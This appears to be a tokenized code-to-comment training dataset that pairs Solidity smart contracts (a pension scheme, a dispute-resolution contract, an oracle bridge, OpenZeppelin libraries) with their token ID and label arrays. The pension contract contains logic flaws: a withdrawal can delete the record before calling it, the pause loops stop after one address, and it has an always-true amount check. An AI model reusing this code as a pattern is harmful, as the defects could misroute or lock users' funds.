16,
389,
2316,
5335,
13,
288,
203,
3639,
3310,
273,
389,
9406,
31,
203,
3639,
8036,
82,
4133,
273,
478,
12821,
4133,
12,
8443,
10663,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./PFAdmin.sol";
import "./PFAFactory.sol";
//import "./PFCustodian.sol";
contract PensionScheme is PFAFactory, ReentrancyGuard {
using SafeMath for uint256;
mapping(uint => Pension) private pensions;
/**
* @notice OWNER
*/
address public owner;
/**
* @notice beneficiary id counter
*/
uint public pensionID;
/**
* @notice PFA factory
*/
PFAFactory factory;
/**
* @notice Container/Struct for Pension info
* beneficiary - The address of the beneficiary to enjoy pension benefits
* sponsor - The address that contributes to the `beneficiary` pension benefits - Usually an employer
* retirementTime - The unix timestamp for when the `beneficiary` retires
* pAmount - The minimum amount of money the `sponsor` is required to contribute to the `beneficiary` pension
* vpAmount - The amount of money the `beneficiary` voluntarily contributes to their pension.
* remainingBalance - Keeps track of beneficiary's contribution and withdrawals
*/
struct Pension {
address payable beneficiary;
address sponsor;
//address payable pCustodian
PFAdmin pfAdmin;
uint retirementTime;
// pAmount means pension amount
uint pAmount;
// vpAmount means voluntary pension amount
uint vpAmount;
uint totalContribution;
bool annuitizeWithdrawals;
bool exists;
}
/********************************* Events *********************************/
/**
* @notice Emits when a beneficiary is registered
*/
event Register(uint indexed pensionID, address beneficiary, address sponsor);
/**
* @notice Emits when a deposit is made
*/
event Deposit(uint indexed pensionID, address sender, uint amount, uint contributions );
/**
* @notice Emits when withdrawal Type is changed
*/
event WithdrawalTypeChanged(uint pensionID);
/**
* @notice Emits when a beneficiary makes a withdrawal
*/
event Withdraw(uint indexed beneficiaryID, uint amount);
/**
* @notice Emits when a beneficiary changes PFA
event NewPFA(uint indexed pensionID, address oldPFA, address newPFA)
*/
/********************************* Modifiers ****************************/
/**
* @dev Throws if caller is not beneficiary
*/
modifier onlyBeneficiary(uint id) {
require(msg.sender == pensions[id].beneficiary, 'CALLER_IS_NOT_BENEFICIARY');
_;
}
/**
* @dev Throws if beneficiary is not yet retired
*/
modifier isRetired(uint id){
require(now >= pensions[id].retirementTime, 'NOT_RETIRED');
_;
}
/**
* @dev Throws if beneficiary is retired
*/
modifier isNotRetired(uint id){
require(now < pensions[id].retirementTime, 'RETIRED');
_;
}
/**
* @dev Throws if beneficiary does not exist
*/
modifier pensionExists(uint id){
require(pensions[id].exists == true, "GHOST_BENEFICIARY");
_;
}
/**
* @dev Throws if pensions contribution doesn't matchup!
modifier checkBalance(uint id){
_;
require(pensions[id].pAmount.add(pensions[id].vpAmount) == pensions[id].totalContribution);
};
*/
/************************** Functions ****************************/
constructor(address _factory) public {
factory = PFAFactory(_factory);
pensionID = 2020;
owner = msg.sender;
}
/**
* @notice `sponsor` registers `beneficiary` into the pension scheme
* Throws if beneficiary is zero address, the contract itself or msg.sender
* Throws if pension amount is less than zero
* @param _beneficiary The address to enjoy pension benefits
* @param rTime The unix timestamp of when beneficiary retires
* @return uint id of the beneficiary
*/
function register(address payable _beneficiary, uint rTime)
public payable
returns(uint)
{
require(_beneficiary != address(0x00), 'INVALID_ADDR');
require(_beneficiary != address(this), 'INVALID_ADDR');
require(_beneficiary != msg.sender, 'SELF_REGISTER');
require(rTime >= now, 'RTIME_INVALID');
address payable admin = factory.deployPFA(_beneficiary, address(this));
uint id = pensionID;
pensions[id] = Pension({
beneficiary: _beneficiary,
sponsor: msg.sender,
//pCustodian: pfc,
pfAdmin: PFAdmin(admin),
retirementTime: rTime,
pAmount: 0,
vpAmount: 0,
totalContribution: 0,
exists: true,
annuitizeWithdrawals: true
});
emit Register(id, _beneficiary, msg.sender);
pensionID = id.add(1);
return id;
}
/**
* @notice Allows deposits to be made by anyone into beneficiary's pension fund and
* Transfers the amount to the beneficiary's pension fund administrator.
* @dev Throws if deposit is less than msg.value or zero
* Throws if call to pension fund admin is not successful
* @param id The pension id of the beneficiary
* @return The total contribution made to the beneficiary pension
*/
function deposit(uint id)
public payable pensionExists(id)
returns(uint){
uint256 amount = msg.value;
require(amount >= 0, "INVALID_AMT");
if(msg.sender == pensions[id].sponsor){
/**IERC20(DAI).transferFrom(msg.sender, address(this), amount), "TRANSFER_FAILURE");*/
(bool success,) = address(pensions[id].pfAdmin).call.value(amount)(abi.encodeWithSignature("invest()"));
require(success, "DEPOSIT_FAILED");
pensions[id].pAmount = (pensions[id].pAmount).add(amount);
pensions[id].totalContribution = pensions[id].pAmount.add(pensions[id].vpAmount);
emit Deposit(id, msg.sender, amount, pensions[id].totalContribution);
return pensions[id].totalContribution;
}else {
/**IERC20(DAI).transferFrom(msg.sender, address(this), amount), "TRANSFER_FAILURE");*/
(bool success,) = address(pensions[id].pfAdmin).call.value(amount)(abi.encodeWithSignature("invest()"));
require(success, "DEPOSIT_FAILED");
pensions[id].vpAmount = (pensions[id].vpAmount).add(amount);
pensions[id].totalContribution = pensions[id].pAmount.add(pensions[id].vpAmount);
emit Deposit(id, msg.sender, amount, pensions[id].totalContribution);
return pensions[id].totalContribution;
}
}
/**
* @notice Change the type of withdrawal to lumpSum withdraw
* @dev Throws if pension id doesn't exist
* Throws if caller is beneficiary
* @param id The pension id of the beneficiary
*/
function changeWithdrawalType(uint id) public pensionExists(id) onlyBeneficiary(id) {
require(pensions[id].annuitizeWithdrawals);
pensions[id].annuitizeWithdrawals = false;
emit WithdrawalTypeChanged(id);
}
/**
* @notice Enables `beneficiary` to withdraw pension after retirement
* @dev Throws if caller is not beneficiary.
* Throws if beneficiary is not retired
* Throws if pension id is invalid i.e Doesn't exist
* Throws if call is reentrant
* Throws if contract is paused
* @param id The pension id of the beneficiary
*/
function withdrawPension(uint id)
public payable isRetired(id) onlyBeneficiary(id) pensionExists(id) nonReentrant()
{
require(pensions[id].totalContribution > 0, 'ZERO_CONTRIBUTIONS');
if(pensions[id].annuitizeWithdrawals){
if (getCount(id) == 22){
delete pensions[id];
}
(bool success,) = address(pensions[id].pfAdmin).call.value(0)(abi.encodeWithSignature('annuitizedWithdraw()'));
require(success, "ANNUITY_WITHDRAW_FAILED");
}else{
(bool success,) = address(pensions[id].pfAdmin).call.value(0)(abi.encodeWithSignature('lumpSumWithdraw()'));
require(success, "LUMPSUM_WITHDRAW_FAILED");
delete pensions[id];
}
emit Withdraw(id, msg.value);
}
/**
* @notice pause deposits made into pfa
* @dev Throws if pensioner(pension id) doesn't exist
* Throws if msg.sender not owner
* @param addr address[]
*/
function emergencyPauseDeposit(address[] memory addr) public {
require(owner == msg.sender);
for(uint i = 0; i < addr.length; ++i){
if(contractExists(addr[i])){
PFAdmin(payable(addr[i])).emergencyPauseDeposit();
}
return;
}
}
/**
* @notice pause withdrawals made from pfa
* @dev Throws if pensioner(pension id) doesn't exist
* Throws if msg.sender not owner
* @param addr address[]
*/
function emergencyPauseWithdraw(address[] memory addr) public {
require(owner == msg.sender);
for(uint i = 0; i < addr.length; ++i){
if(contractExists(addr[i])){
PFAdmin(payable(addr[i])).emergencyPauseWithdraw();
}
return;
}
}
/**
* @notice unpause deposits made into pfa
* @dev Throws if pensioner(pension id) doesn't exist
* Throws if msg.sender not owner
* @param addr address[]
*/
function emergencyUnPauseDeposit(address[] memory addr) public {
require(owner == msg.sender);
for(uint i = 0; i < addr.length; ++i){
if(contractExists(addr[i])){
PFAdmin(payable(addr[i])).emergencyUnPauseDeposit();
}
return;
}
}
/**
* @notice unpause withdraw made from pfa
* @dev Throws if pensioner(pension id) doesn't exist
* Throws if msg.sender not owner
* @param addr address[]
*/
function emergencyUnPauseWithdraw(address[] memory addr) public {
require(owner == msg.sender);
for(uint i = 0; i < addr.length; ++i){
if(contractExists(addr[i])){
PFAdmin(payable(addr[i])).emergencyUnPauseWithdraw();
}
return;
}
}
/**
* @notice changes pension sponsor
* @dev Throws if pensioner(pension id) doesn't exist
* @param id The pension id of the beneficiary
* @param newSponsor new sponsor
*/
function changeSponsor(uint id, address newSponsor) public pensionExists(id) onlyBeneficiary(id) {
pensions[id].sponsor = newSponsor;
}
/********************************* view functions **********************/
/**
* @notice checks if contract exists
* @param addr The contract to check
* @return bool
*/
function contractExists(address addr) public view returns (bool) {
uint size;
assembly {
size := extcodesize(addr)
}
return size > 0;
}
/**
* @notice Returns beneficiary balances. Returns (0,0,0) if no deposit has being made.
* @dev Throws if pension id is invalid i.e Doesn't exist
* @param id The id of the beneficiary
* @return a b c
*/
function balanceOf(uint id) public view
returns(
uint a,
uint b,
uint c){
a = pensions[id].pAmount;
b = pensions[id].vpAmount;
c = pensions[id].totalContribution;
}
/**
* @notice returns PFA address
* @dev Throws if pensioner(pension id) doesn't exist
* @param id The pension id of the beneficiary
* @return address
*/
function getPFA(uint id) public view pensionExists(id) returns(address){
return address(pensions[id].pfAdmin);
}
/**
* @notice Checks if beneficiary is retired
* @dev Throws if pensioner(pension id) doesn't exist
* @param id The pension id of the beneficiary
* @return bool object, true=if beneficiary is retired, otherwise false
*/
function checkRetired(uint id) public view pensionExists(id) returns(bool) {
Pension memory pension = pensions[id];
if(now > pension.retirementTime){
return true;
} else {
return false;
}
}
function getPensionInfo(uint id) public view returns(address beneficiary, address sponsor, uint rTime, uint totalContribution, bool exist){
beneficiary= pensions[id].beneficiary;
sponsor= pensions[id].sponsor;
rTime= pensions[id].retirementTime;
totalContribution= pensions[id].totalContribution;
exist= pensions[id].exists;
return (beneficiary, sponsor, rTime, totalContribution, exist);
}
function getCount(uint id) public view returns(uint) {
return pensions[id].pfAdmin.getCounter();
}
/** Recieve Ether function */
function recieve() public {}
/************************ NOT IMPLEMENTED ******************/
/**
*function changePFA(uint id, address addr) public
* onlyBeneficiary(id){
* pensions[id].pfAdmin = addr;
*};
*/
/**
*function _claimBenefits() public {}
*function _calculateAnnuity() public view returns(uint){
*/
}
|
************************* Functions ****************************/
|
constructor(address _factory) public {
factory = PFAFactory(_factory);
pensionID = 2020;
owner = msg.sender;
}
| 7,217,030 |
[
1,
7503,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
12,
2867,
389,
6848,
13,
1071,
288,
203,
3639,
3272,
273,
453,
2046,
1733,
24899,
6848,
1769,
203,
3639,
293,
1451,
734,
273,
26599,
20,
31,
203,
3639,
3410,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/41/0x48a33074b855F3794b8F72A3CC78be12c5ad1cc3/sources/contracts/DelphiOracleBridge.sol
|
Delete request from storage by ID
|
function deleteRequest(uint id) payable external returns (bool) {
for(uint i = 0; i < requests.length; i++){
if(requests[i].id == id){
require(msg.sender == owner(), "Only the owner can delete a request by id");
address caller = requests[i].caller_address;
requests[i] = requests[requests.length - 1];
requests.pop();
request_count[caller]--;
return true;
}
}
revert("Request not found");
}
| 16,376,988 |
[
1,
2613,
590,
628,
2502,
635,
1599,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
377,
445,
1430,
691,
12,
11890,
612,
13,
8843,
429,
3903,
1135,
261,
6430,
13,
288,
203,
3639,
364,
12,
11890,
277,
273,
374,
31,
277,
411,
3285,
18,
2469,
31,
277,
27245,
95,
203,
5411,
309,
12,
11420,
63,
77,
8009,
350,
422,
612,
15329,
203,
7734,
2583,
12,
3576,
18,
15330,
422,
3410,
9334,
315,
3386,
326,
3410,
848,
1430,
279,
590,
635,
612,
8863,
203,
7734,
1758,
4894,
273,
3285,
63,
77,
8009,
16140,
67,
2867,
31,
203,
7734,
3285,
63,
77,
65,
273,
3285,
63,
11420,
18,
2469,
300,
404,
15533,
203,
7734,
3285,
18,
5120,
5621,
203,
7734,
590,
67,
1883,
63,
16140,
65,
413,
31,
203,
7734,
327,
638,
31,
203,
5411,
289,
203,
3639,
289,
203,
3639,
15226,
2932,
691,
486,
1392,
8863,
203,
377,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// solium-disable security/no-block-members, emit
pragma solidity 0.4.25;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
import 'openzeppelin-solidity/contracts/ownership/Ownable.sol';
import '../tcr/OceanRegistry.sol';
import '../plcrvoting/PLCRVoting.sol';
import '../OceanMarket.sol';
contract OceanDispute is Ownable {
using SafeMath for uint256;
OceanMarket public market;
OceanRegistry public registry;
PLCRVoting public voting;
// complainant is consumer by default
// voting is needed by default => any dispute needs voting to resolve.
struct Dispute {
address complainant; // complainant address
bool resolved; // Indication of if dispute is resolved
uint256 pollID; // identifier for poll
}
// mapping from service id or asset id to Dispute struct
mapping(bytes32 => Dispute) public mDisputes;
// ------
// EVENTS
// ------
event _DisputeInitiated(address indexed _complainant, bytes32 indexed _id, uint256 _pollID);
event _DisputeResolved(address indexed _complainant, bytes32 indexed _id, bool _release, bool _refund);
// ------------
// CONSTRUCTOR:
// ------------
/**
@dev Contructor Sets the addresses
@param _marketAddr Address of the marketplace contract
*/
constructor(address _marketAddr, address _registryAddress, address _plcrAddr) public {
registry = OceanRegistry(_registryAddress);
// get instance of OceanMarket
market = OceanMarket(_marketAddr);
// add dispute resolution contract address to marketplace contract
market.addDisputeAddress();
// add dispute resolution contract address to PLCRVoting contract
voting = PLCRVoting(_plcrAddr);
// get instance of dispute inside PLCRVoting contract
voting.getDisputeInstance(address(this));
}
// --------------------
// Dispute resolution functions
// --------------------
/**
@dev check whether there exists dispute for specific asset or service
@param id identifier associated with the service(i.e., asset Id or service Id)
@return valid Boolean indication of if the dispute exists (true: exists, false: none)
*/
function disputeExist(bytes32 id) public view returns (bool) {
return (mDisputes[id].complainant != address(0));
}
/**
@dev create dispute and submit proofs for specific service agreement
@param id identifier associated with the service agreement (i.e., asset Id or service Id)
@return valid Boolean indication of if the dispute has been initiated
*/
function initiateDispute(bytes32 id) public returns (uint256) {
// pause marketplacce to process payment
market.pausePayment(id);
// create registry challenge for voting if needed; pollID is used for voting
uint256 _pollID = registry.challenge(id, '');
//uint256 _pollID = 0;
// create Dispute struct
mDisputes[id] = Dispute({
complainant : msg.sender,
resolved : false,
pollID : _pollID
});
emit _DisputeInitiated(msg.sender, id, _pollID);
return _pollID;
}
/**
@dev add authorized voter into the poll
@param id identifier associated with the service agreement (i.e., asset Id or service Id)
@param voter address of voter
@return valid Boolean indication of if the dispute has been initiated
*/
function addAuthorizedVoter(bytes32 id, address voter) public onlyOwner() returns (bool) {
uint pollID = mDisputes[id].pollID;
require(voting.pollExists(pollID) == true, 'poll does not exist');
// add authorized voter
voting.addAuthorizedVoter(pollID, voter);
return true;
}
/**
@dev check whether voting of poll ends
@param id identifier associated with the service(i.e., asset Id or service Id)
@return valid Boolean indication of if the voting ends
*/
function votingEnded(bytes32 id) public view returns (bool) {
return registry.challengeCanBeResolved(id);
}
/**
@dev resolve the dispute after the voting ends
@param id identifier associated with the service
@return valid Boolean indication of if the dispute has been resolved
*/
function resolveDispute(bytes32 id) public returns (bool) {
// voting should be ended at this time
if (registry.challengeCanBeResolved(id) == false)
return false;
// resolve challenge in registry
registry.updateStatus(id);
// update status of dispute
mDisputes[id].resolved = true;
bool release = false;
bool refund = false;
// complainant wins the dispute => refund
if (!registry.isWhitelisted(id)) {
refund = true;
// complainant loses the dispute => release payment
} else {
release = true;
}
// resolve the dispute and process payments by passing release and refund flags
market.processPayment(id, release, refund);
emit _DisputeResolved(msg.sender, id, release, refund);
return true;
}
}
|
/ add authorized voter
|
function addAuthorizedVoter(bytes32 id, address voter) public onlyOwner() returns (bool) {
uint pollID = mDisputes[id].pollID;
require(voting.pollExists(pollID) == true, 'poll does not exist');
voting.addAuthorizedVoter(pollID, voter);
return true;
}
@param id identifier associated with the service(i.e., asset Id or service Id)
@return valid Boolean indication of if the voting ends
| 13,078,325 |
[
1,
19,
527,
10799,
331,
20005,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
527,
15341,
58,
20005,
12,
3890,
1578,
612,
16,
1758,
331,
20005,
13,
1071,
1338,
5541,
1435,
1135,
261,
6430,
13,
288,
203,
3639,
2254,
7672,
734,
273,
312,
1669,
458,
281,
63,
350,
8009,
13835,
734,
31,
203,
3639,
2583,
12,
90,
17128,
18,
13835,
4002,
12,
13835,
734,
13,
422,
638,
16,
296,
13835,
1552,
486,
1005,
8284,
203,
3639,
331,
17128,
18,
1289,
15341,
58,
20005,
12,
13835,
734,
16,
331,
20005,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
565,
632,
891,
612,
2756,
3627,
598,
326,
1156,
176,
125,
235,
77,
18,
73,
12990,
3310,
3124,
578,
1156,
3124,
176,
125,
236,
203,
565,
632,
2463,
923,
3411,
1547,
829,
434,
309,
326,
331,
17128,
3930,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.5.2;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/access/Roles.sol
pragma solidity ^0.5.2;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
// File: openzeppelin-solidity/contracts/access/roles/PauserRole.sol
pragma solidity ^0.5.2;
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
